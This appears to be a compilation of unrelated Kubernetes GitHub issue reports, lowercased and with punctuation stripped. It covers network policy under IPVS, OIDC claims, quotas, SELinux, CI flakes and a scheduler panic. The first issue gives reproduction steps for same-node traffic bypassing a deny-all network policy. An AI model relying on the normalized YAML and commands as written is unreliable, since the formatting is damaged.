is this a bug report or feature request?  :\r \r  \r   what happened  :\r when using ipvs mode for kube-proxy and network-policy with calico-node the iptables rules applied to the nodes don't manage to block unwanted traffic when the source pod and destination pod are on the same node.\r \r   what you expected to happen  :\r unwanted traffic to be blocked regardless of which node host the src and dst pod.\r \r   how to reproduce it  as minimally and precisely as possible   :\r - start a kubernetes cluster v1.11.2 with kube-proxy in ipvs mode and calico-node as network overlay\r - create a namespace and apply a deny all policy\r - create a busybox client pod \r - create an httpd server pod with an associated  type: clusterip  service\r - when client and server pod are on different nodes the network policy work and a  wget http://clusterip  from the busybox client pod will hangs and eventually timeout\r - when client and server pod are on the same node the  wget  command will succed in fetching index.html\r \r   anything else we need to know?  :\r \r from my investigation this is caused by the fact that calico-node   all network fabrics ?   fw rules are using the forward chain of iptables , when a connection is load balanced through ipvs on the local node though then the traffic to the destination pod is emmited from host rather than simply forwarded and as such uses the output chain which does not have the network-policy rules.\r \r   simple example  \r namespace: testfc\r network policy: drop all\r \r pods running on same node\r    \r master01 ~ $ kubectl get pods -n testfc -o wide\r name                       ready     status    restarts   age       ip           node              nominated node\r busybox-79ffd444bc-4bnwj   1/1       running   1          17h       10.244.5.5   worker-hmfour01   <none>\r httpd-7b8b64bfd5-kr6dp     1/1       running   1          17h       10.244.5.6   worker-hmfour01   <none>\r \r master01 ~ $ kubectl get svc -n testfc -o wide\r name      type        cluster-ip    external-ip   port s    age       selector\r httpd     clusterip   10.0.61.128   <none>        80/tcp    17h       run=httpd\r \r master01 ~ $ kubectl exec -t -i -n testfc busybox-79ffd444bc-4bnwj sh\r /   wget http://10.0.61.128\r connecting to 10.0.61.128  10.0.61.128:80 \r index.html           100% |                                                                                                                                               |    45  0:00:00 eta\r \r /   wget http://10.244.5.6\r connecting to 10.244.5.6  10.244.5.6:80 \r ^c\r    \r \r tcpdump and iptables logs showing traffic when wget to service ip\r add a logging line to the output chain to show the match\r \r    \r   iptables -i output 1 --dst 10.244.5.6 -j log\r \r worker-hmfour01 ~   tcpdump -i calie3675b0947e -n\r listening on calie3675b0947e, link-type en10mb  ethernet , capture size 262144 bytes\r 09:13:40.398135 ip 10.244.5.5.40034 > 10.244.5.6.80: flags  s , seq 83744726, win 27400, options  mss 1370,sackok,ts val 2775911139 ecr 0,nop,wscale 7 , length 0\r 09:13:40.398164 ip 10.244.5.6.80 > 10.244.5.5.40034: flags  s. , seq 3157107829, ack 83744727, win 27160, options  mss 1370,sackok,ts val 3033806827 ecr 2775911139,nop,wscale 7 , length 0\r 09:13:40.398189 ip 10.244.5.5.40034 > 10.244.5.6.80: flags  . , ack 1, win 215, options  nop,nop,ts val 2775911139 ecr 3033806827 , length 0\r 09:13:40.398208 ip 10.244.5.5.40034 > 10.244.5.6.80: flags  p. , seq 1:75, ack 1, win 215, options  nop,nop,ts val 2775911140 ecr 3033806827 , length 74: http: get / http/1.1\r 09:13:40.398219 ip 10.244.5.6.80 > 10.244.5.5.40034: flags  . , ack 75, win 213, options  nop,nop,ts val 3033806828 ecr 2775911140 , length 0\r 09:13:40.398853 ip 10.244.5.6.80 > 10.244.5.5.40034: flags  p. , seq 1:290, ack 75, win 213, options  nop,nop,ts val 3033806828 ecr 2775911140 , length 289: http: http/1.1 200 ok\r 09:13:40.398909 ip 10.244.5.5.40034 > 10.244.5.6.80: flags  . , ack 290, win 223, options  nop,nop,ts val 2775911140 ecr 3033806828 , length 0\r    \r \r logs showing that the output chain is being used rather than the forward one\r    \r   1372.474582  in= out=calie3675b0947e src=10.244.5.5 dst=10.244.5.6 len=60 tos=0x00 prec=0x00 ttl=63 id=57419 df proto=tcp spt=40214 dpt=80 window=27400 res=0x00 syn urgp=0\r   1372.490861  in= out=calie3675b0947e src=10.244.5.5 dst=10.244.5.6 len=52 tos=0x00 prec=0x00 ttl=63 id=57420 df proto=tcp spt=40214 dpt=80 window=215 res=0x00 ack urgp=0\r   1372.499559  in= out=calie3675b0947e src=10.244.5.5 dst=10.244.5.6 len=126 tos=0x00 prec=0x00 ttl=63 id=57421 df proto=tcp spt=40214 dpt=80 window=215 res=0x00 ack psh urgp=0\r   1372.499983  in= out=calie3675b0947e src=10.244.5.5 dst=10.244.5.6 len=52 tos=0x00 prec=0x00 ttl=63 id=57422 df proto=tcp spt=40214 dpt=80 window=223 res=0x00 ack urgp=0\r   1372.500623  in= out=calie3675b0947e src=10.244.5.5 dst=10.244.5.6 len=52 tos=0x00 prec=0x00 ttl=63 id=57423 df proto=tcp spt=40214 dpt=80 window=223 res=0x00 ack fin urgp=0\r   1372.554752  in= out=calie3675b0947e src=10.244.5.5 dst=10.244.5.6 len=40 tos=0x00 prec=0x00 ttl=63 id=7098 df proto=tcp spt=40214 dpt=80 window=0 res=0x00 rst urgp=0\r    \r \r when pods are on different nodes everything works as expected since the destination node will just forward the packet\r    \r master01 ~ $ kubectl get pods -n testfc -o wide\r name                       ready     status    restarts   age       ip           node              nominated node\r busybox-79ffd444bc-4bnwj   1/1       running   1          17h       10.244.5.5   worker-hmfour01   <none>\r httpd-7b8b64bfd5-m6gfd     1/1       running   0          14s       10.244.3.4   worker-hmfour03   <none>\r \r \r /   wget http://10.0.61.128 -o-\r connecting to 10.0.61.128  10.0.61.128:80 \r ^c\r    \r \r \r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.11.2\r - cloud provider or hardware configuration: gcp with calico-node network policy using canal deployment , v2.6.10\r - os  e.g. from /etc/os-release : container linux by coreos 1800.7.0  rhyolite \r - kernel  e.g.  uname -a  : 4.14.63-coreos\r - install tools: none \r - others: \r   - docker image: gcr.io/google-containers/hyperkube-amd64\r   - calico-node version 2.6.10 - quay.io/calico/node:v2.6.10\r

summary:\r \r in our use case, id tokens of our openid connect provider  cf uaa  don't have a single claim that\r   uniquely identifies a user and\r   is human-readable  = usable in a kubernetes cluster, e.g. for role bindings, auditing .\r however, currently the api server only supports choosing a single claim  => usernameclaim  which is treated as  expected to be unique  user name within the cluster.\r basically i see two options to resolve this situation:\r   specific approach for this use case: extend the openid connect provider to add an additional claim which is both unique and human-readable.\r   generic approach: extend the api server to allow specifying a simple pattern to define the cluster-internal user name  potentially using multiple claims, e.g. \ {origin}|{user_name}\  .\r \r => do you have similar use cases, so the generic approach would help there, too?\r \r details:\r \r we use cf uaa as openid connect provider for kubernetes clusters, which supports connecting multiple external identity providers  per single identity zone / tenant . respective id tokens issued by uaa contain certain information that could be used to identify users from the cluster  e.g. for role bindings within the cluster :\r   sub: unique identifier for the user, however a guid\r   email: email address of the user\r   origin: identifier for the identity provider by which the user authenticated to uaa\r   user_name: user name of the user  within the used identity provider; there might be users from other identity providers with the same user_name, so user_name itself is not yet unique \r   user_id: same as \ sub\

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r quotas within a namespace stopped refreshing when pods were deleted or deployments scaled. resourcequotas within the namespace also couldn't be edited. \r \r   what you expected to happen  :\r resourcequotas for a namespace are updated as pods are scaled or created.\r \r   how to reproduce it  as minimally and precisely as possible   :\r unable to reproduce exactly. it appears to have occurred during a restart of the kube-apiserver. the quotas weren't able to update until each kube-controller was restarted. \r   anything else we need to know?  :\r appears related to https://github.com/kubernetes/kubernetes/issues/71450 which was closed. \r \r   environment  :\r - kubernetes version  use  kubectl version  : v1.14.0\r - cloud provider or hardware configuration:\r - os  e.g:  cat /etc/os-release  : centos 7\r - kernel  e.g.  uname -a  : 4.20.7-1.el7.elrepo.x86_64  1 smp wed feb 6 13:17:46 est 2019 x86_64 x86_64 x86_64 gnu/linux\r - install tools:\r - network plugin and version  if this is a network-related bug :\r - others:\r

currently the kubelet makes no attempt to set the selinux context of volume directories if no selinux context is configured in the pod's securitycontext.  this leads to a situation where users of kubernetes who have selinux enforcing have to run a  chcon  command to change the selinux type of the volumes directory to  svirt_sandbox_file_t , which is usable from  svirt_lxc_net_t .  instead, we should apply the chcon in the kubelet.  link to so question:  http://stackoverflow.com/questions/34777111/cannot-create-a-shared-volume-mount-via-emptydir-on-single-node-kubernetes-on

gcloud  already ships it separately.  the user cases here differ dramatically.  ref  28435

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gke-prod-smoke/767/  failed:  k8s.io  serviceaccounts should mount an api token into pods  conformance  {kubernetes e2e suite}      /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/service_accounts.go:240 error creating pod expected error:     < errors.statuserror | 0xc820a2a180>: {         errstatus: {             typemeta: {kind: \ status\ , apiversion: \ v1\ },             listmeta: {selflink: \ \ , resourceversion: \ \ },             status: \ failure\ ,             message: \ pods \\\ pod-service-account-95658eb6-b4a7-11e6-ba99-0242ac110002\\\  already exists\ ,             reason: \ alreadyexists\ ,             details: {                 name: \ pod-service-account-95658eb6-b4a7-11e6-ba99-0242ac110002\ ,                 group: \ \ ,                 kind: \ pods\ ,                 causes: nil,                 retryafterseconds: 0,             },             code: 409,         },     }     pods \ pod-service-account-95658eb6-b4a7-11e6-ba99-0242ac110002\  already exists not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/pods.go:50

federation coredns provider config is missing a config coredns-endpoints. without this config user has to manually configure the cluster-dns to add the private nameserver in federated cluster in order to do cross-cluster service discovery. with this field, now we can add the private nameserver automatically to cluster-dns when cluster joins federation.\r \r recently a pr is merged  41826 which will enable configuring cluster-dns with private nameservers.\r \r cc @kubernetes/sig-federation-bugs @csbell

is this a feature request?  :\r \r it is useful to know who was the last person/component that updated a resource for many reasons:\r   \r - idempotent behavior on automation that deploys @kubernetes/sig-cluster-lifecycle-feature-requests \r - debugging / blame , \ who/what jacked my yaml?!?!?!\  \r ... \r \r /cc @kubernetes/sig-auth-feature-requests \r \r xref: https://github.com/kubernetes/kubernetes/pull/47081 \r

\r   is this a bug report or feature request?  :\r \r > uncomment only one, leave it on its own line: \r >\r  >  \r   what happened  :\r \r kubectl get pods --all-namespaces -o yaml did not print anything about one of the pods in the cluster   pod name is \ pending\ , in namespace \ default\  .\r screenshots:\r ! dmjcwwyqssd  https://user-images.githubusercontent.com/17475944/30213201-4aceba1a-94a8-11e7-8a89-6c5715e109ff.png \r ! nr76qphn45f  https://user-images.githubusercontent.com/17475944/30213059-b2e70c3e-94a7-11e7-8374-0738f64040d3.png \r \r let me know if i can provide more info to help.\r

is this a bug report or feature request?  :\r \r  \r \r   what happened  : container in a deployment exits on error, container is restarted without first re-running the initcontainer. \r \r   what you expected to happen  : container in a deployment exits on error, initcontainer is re-run before restarting the container.\r \r   how to reproduce it  as minimally and precisely as possible   : \r \r sample spec:\r    \r kind: \ deployment\ \r apiversion: \ extensions/v1beta1\ \r metadata:\r   name: \ test\ \r   labels:\r     name: \ test\ \r spec:\r   replicas: 1\r   selector:\r     matchlabels:\r       name: \ test\ \r   template:\r     metadata:\r       name: \ test\ \r       labels:\r         name: \ test\ \r     spec:\r       initcontainers:\r         - name: sleep\r           image: debian:stretch\r           imagepullpolicy: ifnotpresent\r           command:\r             - sleep\r             - 1s\r       containers:\r         - name: test\r           image: debian:stretch\r           imagepullpolicy: ifnotpresent\r           command:\r             - /bin/sh\r             - exit 1\r \r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  : \r    \r client version: version.info{major:\ \ , minor:\ \ , gitversion:\ v0.0.0-master+$format:%h$\ , gitcommit:\ db809c0eb7d33fac8f54d8735211f2f3a8fc4214\ , gittreestate:\ clean\ , builddate:\ 2017-09-11t19:46:47z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ \ , minor:\ \ , gitversion:\ v0.0.0-master+$format:%h$\ , gitcommit:\ db809c0eb7d33fac8f54d8735211f2f3a8fc4214\ , gittreestate:\ clean\ , builddate:\ 2017-09-11t19:46:47z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - os  e.g. from /etc/os-release : \r    debian gnu/linux 9  stretch    \r - kernel  e.g.  uname -a  : \r    linux aleinung 4.9.0-3-amd64  1 smp debian 4.9.30-2+deb9u3  2017-08-06  x86_64 gnu/linux   \r \r implementation context:\r \r i have an initcontainer that waits for a service running in  kubernetes  to detect its existence via pod annotations, and send it an http request, upon which it writes this value to disk. the main container then reads this value upon startup and \ unwraps\  it via another service, upon which it stores the unwrapped value in memory. \r \r the value that is written to disk by the initcontainer is a one-time read value, in that once it is used the value is then expired. the problem is that if the main container ever restarts due to fatal error, it loses that unwrapped value and upon startup tries to unwrap the expired value again, leading to an infinite crashing loop until i manually delete the pod, upon which a new pod is created, the initcontainer runs, and all is again well. \r \r i desire a feature that restarts the entire pod upon container error so that this workflow can function properly.\r

 \r   what happened  :\r \r if i have a private key with a passphrase, and i try to create a tls secret i get an error saying it failed to parse the private key\r \r   what you expected to happen  :\r \r i expect kubectl to prompt me to type in the passphrase for said key.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r    bash\r $ openssl req -x509 -days 365 -newkey rsa:2048 -keyout tls.key -out tls.crt -subj \ /cn=foo.bar.com\ \r $ kubectl create secret tls testsecret --key=tls.key --cert=tls.crt\r error: failed to load key pair tls: failed to parse private key\r    \r \r   anything else we need to know?  :\r \r   environment  :\r - kubernetes version  use  kubectl version  :\r \r    \r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.6\ , gitcommit:\ 4bc5e7f9a6c25dc4c03d4d656f2cefd21540e28c\ , gittreestate:\ clean\ , builddate:\ 2017-09-15t22:14:38z\ , goversion:\ go1.9\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r    \r - cloud provider or hardware configuration  :\r \r coreos baremetal\r \r - os  e.g. from /etc/os-release :\r \r mac os x 10.13\r \r - kernel  e.g.  uname -a  :\r \r  17.0.0 darwin kernel version 17.0.0: thu aug 24 21:48:19 pdt 2017; root:xnu-4570.1.46~2/release_x86_64 x86_64 \r \r - install tools:\r - others:\r

under normal circumstances\r ! image  https://user-images.githubusercontent.com/18409309/32312576-85989b68-bf6c-11e7-85dc-37b7e3779dab.png \r only in the case of etcd services\r ! image  https://user-images.githubusercontent.com/18409309/32312593-9c520f9c-bf6c-11e7-9988-fee0c1a3841b.png \r etcd machine shutdown case\r ! image  https://user-images.githubusercontent.com/18409309/32312620-b962c5d6-bf6c-11e7-9d78-92ad9bc2e7d0.png \r

\r   is this a bug report or feature request?  :\r  \r taints and tolerations is a beta feature in kubernetes 1.9. we would like to move it to ga status in 1.10.\r my initial investigations show that we only need to update the docs to mention that it is ga.\r \r task tracker:\r    x  update kubernetes.io and remove notions of the feature being beta.\r \r  /assign\r

is this a bug report or feature request?    choose one :\r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r  \r   kubernetes version    use  kubectl version  :\r \r    \r client version: version.info{major:\ 1\ , minor:\ 10\ , gitversion:\ v1.10.0\ , gitcommit:\ fc32d2f3698e36b93322a3465f63a14e9f0eaead\ , gittreestate:\ clean\ , builddate:\ 2018-03-27t00:13:02z\ , goversion:\ go1.9.4\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 8\ , gitversion:\ v1.8.7\ , gitcommit:\ b30876a5539f09684ff9fde266fda10b37738c9c\ , gittreestate:\ clean\ , builddate:\ 2018-01-16t21:52:38z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r   environment  :\r -   cloud provider or hardware configuration  : aws\r -   os  : macos 10.13.3\r -   kernel  : darwin 17.4.0\r -   install tools  : brew\r \r \r   what happened  :\r \r when creating a sample deployment using the command  kubectl create -f deployment.yaml , the following output appears:\r \r  error from server  notacceptable : unknown \r \r   what you expected to happen  :\r \r when running the same command again,  kubectl create -f deployment.yaml , with kubectl version 1.9.3, the following output appears:\r \r  deployment \ nginx-deployment\  created \r \r a better error message describing incompatibility might be useful.\r \r   how to reproduce it    as minimally and precisely as possible :\r \r 1. use the following config, and save it as  deployment.yaml :\r \r \r     yaml\r apiversion: apps/v1beta2 \r kind: deployment\r metadata:\r   name: nginx-deployment\r spec:\r   selector:\r     matchlabels:\r       app: nginx\r   replicas: 2\r   template: \r     metadata:\r       labels:\r         app: nginx\r     spec:\r       containers:\r       - name: nginx\r         image: nginx:1.7.9\r         ports:\r         - containerport: 80\r    \r \r 2. run  kubectl create -f deployment.yaml  using kubectl 1.10.0\r \r

flaky job: pr:pull-kubernetes-kubemark-e2e-gce  flakes in the past week:   52    consistency:   93.70%         flakiest tests by flake count: | test | flake count | | --- | --- | | timeout | 40 | | teardown | 36 | | up | 12 |       previously closed issues for this job flaking:  62267  54519     flakiest jobs  https://storage.googleapis.com/k8s-metrics/flakes-latest.json

<!-- please only use this template for submitting reports about failing tests in kubernetes ci jobs -->\r \r   which jobs are failing  :\r \r   which test s  are failing  :\r \r   since when has it been failing  :\r \r   testgrid link  :\r \r   reason for failure  :\r i0116 21:50:32.171316    3959 wrap.go:47  get /healthz:  1.0472ms  500\r goroutine 2352  running :\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/httplog.  resplogger .recordstatus 0xc001fa7110, 0x1f4 \r \t/users/wangguoliang/documents/mos/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/httplog/httplog.go:204 +0xd2\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/httplog.  resplogger .writeheader 0xc001fa7110, 0x1f4 \r \t/users/wangguoliang/documents/mos/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/httplog/httplog.go:183 +0x35\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters.  basetimeoutwriter .writeheader 0xc00382ad80, 0x1f4 \r \t/users/wangguoliang/documents/mos/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters/timeout.go:205 +0xaf\r net/http.error 0xdc0d5b8, 0xc0036a21c0, 0xc0003b5a40, 0x136, 0x1f4 \r \t/usr/local/cellar/go/1.11.1/libexec/src/net/http/server.go:1976 +0xda\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/healthz.handleroothealthz.func1 0xdc0d5b8, 0xc0036a21c0, 0xc00380ef00 \r \t/users/wangguoliang/documents/mos/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/healthz/healthz.go:184 +0x3aa\r net/http.handlerfunc.servehttp 0xc0027a40e0, 0xdc0d5b8, 0xc0036a21c0, 0xc00380ef00 \r \t/usr/local/cellar/go/1.11.1/libexec/src/net/http/server.go:1964 +0x44\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/mux.  pathhandler .servehttp 0xc00278a900, 0xdc0d5b8, 0xc0036a21c0, 0xc00380ef00 \r \t/users/wangguoliang/documents/mos/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/mux/pathrecorder.go:241 +0x510\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/mux.  pathrecordermux .servehttp 0xc00014f340, 0xdc0d5b8, 0xc0036a21c0, 0xc00380ef00 \r \t/users/wangguoliang/documents/mos/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/mux/pathrecorder.go:234 +0x8a\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server.director.servehttp 0x4c243b1, 0xe, 0xc0008aa360, 0xc00014f340, 0xdc0d5b8, 0xc0036a21c0, 0xc00380ef00 \r \t/users/wangguoliang/documents/mos/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/handler.go:154 +0x661\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/filters.withauthorization.func1 0xdc0d5b8, 0xc0036a21c0, 0xc00380ef00 \r \t/users/wangguoliang/documents/mos/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/filters/authorization.go:64 +0x4c3\r net/http.handlerfunc.servehttp 0xc0000da080, 0xdc0d5b8, 0xc0036a21c0, 0xc00380ef00 \r \t/usr/local/cellar/go/1.11.1/libexec/src/net/http/server.go:1964 +0x44\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters.withmaxinflightlimit.func1 0xdc0d5b8, 0xc0036a21c0, 0xc00380ef00 \r \t/users/wangguoliang/documents/mos/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters/maxinflight.go:160 +0x459\r net/http.handlerfunc.servehttp 0xc00071c9c0, 0xdc0d5b8, 0xc0036a21c0, 0xc00380ef00 \r \t/usr/local/cellar/go/1.11.1/libexec/src/net/http/server.go:1964 +0x44\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/filters.withimpersonation.func1 0xdc0d5b8, 0xc0036a21c0, 0xc00380ef00 \r \t/users/wangguoliang/documents/mos/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/filters/impersonation.go:50 +0x1eeb\r net/http.handlerfunc.servehttp 0xc0000da700, 0xdc0d5b8, 0xc0036a21c0, 0xc00380ef00 \r \t/usr/local/cellar/go/1.11.1/libexec/src/net/http/server.go:1964 +0x44\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/filters.withauthentication.func1 0xdc0d5b8, 0xc0036a21c0, 0xc00380ee00 \r \t/users/wangguoliang/documents/mos/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/endpoints/filters/authentication.go:81 +0x476\r net/http.handlerfunc.servehttp 0xc0008a9400, 0xdc0d5b8, 0xc0036a21c0, 0xc00380ee00 \r \t/usr/local/cellar/go/1.11.1/libexec/src/net/http/server.go:1964 +0x44\r k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters.  timeouthandler .servehttp.func1 0xc003637560, 0xc00045dd00, 0x6b6d240, 0xc0036a21c0, 0xc00380ee00 \r \t/users/wangguoliang/documents/mos/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters/timeout.go:108 +0xb3\r created by k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters.  timeouthandler .servehttp\r \t/users/wangguoliang/documents/mos/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/vendor/k8s.io/apiserver/pkg/server/filters/timeout.go:97 +0x1b0\r \r panic: runtime error: invalid memory address or nil pointer dereference\r  signal sigsegv: segmentation violation code=0x1 addr=0x28 pc=0x25f7a93 \r \r goroutine 3306  running :\r k8s.io/kubernetes/pkg/scheduler.  scheduler .bind 0xc00002db60, 0xc004ae3c00, 0xc0049d0a80, 0x0, 0x1c4efe1 \r \t/users/wangguoliang/documents/mos/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/scheduler/scheduler.go:428 +0x643\r k8s.io/kubernetes/pkg/scheduler.  scheduler .scheduleone.func1 0xc001ffe701, 0xc00002db60, 0xc004ae3c00, 0x6b51d40, 0xc003a1c1c0, 0xc001ffe700, 0x11, 0x64, 0x64, 0xbf07eb8a4781e3e8, ... \r \t/users/wangguoliang/documents/mos/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/scheduler/scheduler.go:556 +0x21f\r created by k8s.io/kubernetes/pkg/scheduler.  scheduler .scheduleone\r \t/users/wangguoliang/documents/mos/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/pkg/scheduler/scheduler.go:521 +0xb6f\r exit status 2\r fail\tk8s.io/kubernetes/test/integration/scheduler_perf\t4.409s\r !!! error in ./test-performance.sh:51\r   error in ./test-performance.sh:51. 'go test -test.run=. -test.timeout=60m -test.short=false' exited with status 1\r call stack:\r   1: ./test-performance.sh:51 main ... \r exiting with status 1\r ~/documents/mos/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/integration/scheduler_perf\r \r   anything else we need to know  :\r run shell\r  kubernetes/test/integration/scheduler_perf/test-performance.sh

we currently run kubectl for add-on creation/monitoring.  this in turn has validation turned on.  this is an unnecessary and expensive slow down for the api server...

failed: https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-soak-gke-gci-test/71/  run so broken it didn't make junit output!

is this a bug report or feature request?  :\r \r  \r   what happened  :\r \r    \r $ kubectl delete csr default.client.root,default.node.cockroachdb-0,default.node.cockroachdb-1,default.node.cockroachdb-2,default.node.cockroachdb-3\r error from server  internalerror : an error on the server  \ internal server error: \\\ /apis/certificates.k8s.io/v1beta1/certificatesigningrequests/default.client.root,default.node.cockroachdb-0,default.node.cockroachdb-1,default.node.cockroachdb-2,default.node.cockroachdb-3\\\ : an error on the server  \\\ unknown\\\   has prevented the request from succeeding\   has prevented the request from succeeding  delete certificatesigningrequests.certificates.k8s.io default.client.root,default.node.cockroachdb-0,default.node.cockroachdb-1,default.node.cockroachdb-2,default.node.cockroachdb-3 \r    \r \r   what you expected to happen  :\r \r the delete command to either succeed or return a non-internal error explaining the problem.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r try to delete a list of csrs separated by commas rather than by spaces.\r \r   anything else we need to know?  :\r \r i was able to grab the kube-apiserver logs which include the stack trace:\r  kube-apiserver.log  https://github.com/kubernetes/kubernetes/files/1468675/kube-apiserver.log \r \r also, while i doubt it matters, these are the resources being deleted:\r \r    \r $ kubectl get csr\r name                                                   age       requestor                               condition\r default.client.root                                    1h        system:serviceaccount:default:default   approved,issued\r default.node.cockroachdb-0                             1h        system:serviceaccount:default:default   approved,issued\r default.node.cockroachdb-1                             1h        system:serviceaccount:default:default   approved,issued\r default.node.cockroachdb-2                             1h        system:serviceaccount:default:default   approved,issued\r default.node.cockroachdb-3                             26m       system:serviceaccount:default:default   approved,issued\r node-csr-gzdoqapetucc6xps3qvvztzcazbuphwcusetc3vmoyw   1h        kubelet                                 approved,issued\r node-csr-iannrxmim6fy_kzwpfvlsc-y08hkh8ryxicynjb7eya   1h        kubelet                                 approved,issued\r node-csr-wz6y5dntpd0nu6ckcawv4osm7kmmtuzyncgsblv89a0   1h        kubelet                                 approved,issued\r    \r \r   environment  :\r - kubernetes version  use  kubectl version  :\r    \r client version: version.info{major:\ 1\ , minor:\ 7\ , gitversion:\ v1.7.6\ , gitcommit:\ 4bc5e7f9a6c25dc4c03d4d656f2cefd21540e28c\ , gittreestate:\ clean\ , builddate:\ 2017-09-14t06:55:55z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ darwin/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 7+\ , gitversion:\ v1.7.8-gke.0\ , gitcommit:\ a7061d4b09b53ab4099e3b5ca3e80fb172e1b018\ , gittreestate:\ clean\ , builddate:\ 2017-10-10t18:48:45z\ , goversion:\ go1.8.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r - cloud provider or hardware configuration: gke\r - os  e.g. from /etc/os-release : gke default\r - kernel  e.g.  uname -a  : gke default\r - install tools: gke\r - others:\r

<!-- please use this template while reporting a bug and provide as much info as possible. not doing so may result in your bug not being addressed in a timely manner. thanks!\r \r if the matter is security related, please disclose it privately via https://kubernetes.io/security/\r -->\r \r \r   what happened  :\r in the k8sv1.14 version,i try the csi-cinder-plugin yaml in web,but the pod always restart!\r like this :\r default   csi-nodeplugin-cinderplugin-hblqv   2/2   running   8     16m\r default   csi-nodeplugin-cinderplugin-hblqv   1/2   error   8     16m\r kube-system   csi-attacher-cinderplugin-0   1/2   error   7     18m\r default   csi-nodeplugin-cinderplugin-hblqv   1/2   crashloopbackoff   8     16m\r \r first i set the kube-apiserver controller-manager schedule kubelet with the --feature-gates=csidriverregistry=true,csinodeinfo=true then restart the service \r \r second i create the rbac and statefulset and ds use the yaml with the web:\r \r   what you expected to happen  :\r i want all pod running\r   how to reproduce it  as minimally and precisely as possible   :\r \r   anything else we need to know?  :\r \r   environment  :\r  root@hpa-vm:~/info/logs/k8s $ kubectl get nodes\r name           status   roles    age   version\r 10.62.1.2   ready    <none>   68d   v1.14.0-alpha.0.943+0111db216612f7-dirty\r \r - kubernetes version  use  kubectl version  :\r - cloud provider or hardware configuration:\r - os  e.g. from /etc/os-release :\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r

